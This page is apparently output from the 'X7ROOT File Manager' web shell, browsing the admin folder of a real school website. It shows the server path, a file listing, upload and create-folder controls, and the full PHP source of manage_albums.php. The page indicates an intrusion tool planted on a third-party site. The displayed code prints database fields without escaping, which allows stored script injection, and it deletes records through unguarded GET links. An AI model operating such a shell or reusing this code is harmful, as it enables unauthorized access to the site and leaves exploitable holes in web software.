X7ROOT File Manager
Current Path:
/home/u126090504/domains/chanakyahss.org.in/public_html/admin
home
/
u126090504
/
domains
/
chanakyahss.org.in
/
public_html
/
admin
/
📁
..
📄
achievers.php
(5.15 KB)
📄
admissions.php
(5.67 KB)
📄
banners.php
(5.86 KB)
📄
change_password.php
(3.54 KB)
📄
contacts.php
(3.83 KB)
📄
dashboard.php
(6.61 KB)
📄
downloads.php
(4.91 KB)
📄
export_franchise.php
(930 B)
📄
faculty.php
(7.22 KB)
📄
forgot_password.php
(6.52 KB)
📄
franchise.php
(7.28 KB)
📄
gallery.php
(3.08 KB)
📄
governing-body-manage.php
(9.12 KB)
📄
grievance-update.php
(1003 B)
📄
grievance-view.php
(5.32 KB)
📄
grievances.php
(5.79 KB)
📁
includes
📄
index.php
(82 B)
📄
login.php
(6.59 KB)
📄
logout.php
(102 B)
📄
manage_albums.php
(4.27 KB)
📄
manage_media.php
(3.02 KB)
📄
manage_photos.php
(6.87 KB)
📄
manage_videos.php
(3.62 KB)
📄
new_password.php
(3.9 KB)
📄
notice.php
(16.36 KB)
📄
notices.php
(8.24 KB)
📄
payments.php
(15.23 KB)
📁
phpmailer
📄
popup.php
(10.68 KB)
📄
public-disclosure.php
(7.33 KB)
📄
reset_password.php
(2.27 KB)
📄
secure_session.php
(1000 B)
📄
settings.php
(5.21 KB)
📄
submit-grievance.php
(4.97 KB)
📄
syllabus.php
(4.68 KB)
📄
testimonials.php
(10.25 KB)
📄
timetable.php
(3.68 KB)
📄
update_status.php
(1.29 KB)
📄
upi_settings.php
(1.52 KB)
Editing: manage_albums.php
<?php include 'secure_session.php'; include 'includes/auth.php'; require_once '../config.php'; /* ================= ADD ALBUM ================= */ if (isset($_POST['add_album'])) { $name = mysqli_real_escape_string($conn, $_POST['name']); $desc = mysqli_real_escape_string($conn, $_POST['description']); $conn->query("INSERT INTO albums (name, description) VALUES ('$name','$desc')"); } /* ================= DELETE ================= */ if (isset($_GET['delete'])) { $id = intval($_GET['delete']); $conn->query("DELETE FROM albums WHERE id=$id"); } ?> <!DOCTYPE html> <html> <head> <title>Manage Albums</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet"> <style> body { background:#f5f7fb; font-family:'Poppins', sans-serif; } /* Header */ .header { display:flex; justify-content:space-between; align-items:center; margin-bottom:20px; } /* Card */ .card-box { background:#fff; padding:20px; border-radius:12px; box-shadow:0 5px 15px rgba(0,0,0,0.08); } /* Table */ .table-modern { border-radius:10px; overflow:hidden; } .table-modern thead { background:#0d6efd; color:#fff; } .table-modern tbody tr:hover { background:#f1f5ff; } /* Buttons */ .btn-custom { border-radius:8px; } /* Footer */ .footer { text-align:center; margin-top:40px; padding:15px; color:#777; } </style> </head> <body> <div class="container py-4"> <!-- HEADER --> <div class="header"> <h3>📁 Manage Albums</h3> <div> <a href="dashboard.php" class="btn btn-dark btn-custom">⬅ Dashboard</a> <a href="manage_photos.php" class="btn btn-success btn-custom">📸 Manage Photos</a> </div> </div> <!-- ADD ALBUM --> <div class="card-box mb-4"> <h5 class="mb-3">➕ Create New Album</h5> <form method="post"> <div class="row"> <div class="col-md-5 mb-3"> <input type="text" name="name" placeholder="Album Name" class="form-control" required> </div> <div class="col-md-5 mb-3"> <input type="text" name="description" placeholder="Description" class="form-control"> </div> <div class="col-md-2 mb-3"> <button type="submit" name="add_album" class="btn btn-primary w-100 btn-custom"> Add </button> </div> </div> </form> </div> <!-- ALBUM LIST --> <div class="card-box"> <h5 class="mb-3">📂 All Albums</h5> <div class="table-responsive"> <table class="table table-modern table-bordered align-middle"> <thead> <tr> <th>ID</th> <th>Album Name</th> <th>Description</th> <th width="150">Action</th> </tr> </thead> <tbody> <?php $res = $conn->query("SELECT * FROM albums ORDER BY created_at DESC"); if ($res->num_rows > 0) { while ($row = $res->fetch_assoc()) { ?> <tr> <td><?php echo $row['id']; ?></td> <td> <strong><?php echo $row['name']; ?></strong> </td> <td><?php echo $row['description']; ?></td> <td> <a href="?delete=<?php echo $row['id']; ?>" class="btn btn-danger btn-sm w-100" onclick="return confirm('Delete this album?')"> 🗑 Delete </a> </td> </tr> <?php } } else { echo "<tr><td colspan='4' class='text-center'>No albums found</td></tr>"; } ?> </tbody> </table> </div> </div> <!-- FOOTER --> <div class="footer"> © <?php echo date("Y"); ?> Chanakya Admin Panel </div> </div> </body> </html>
Upload File
Create Folder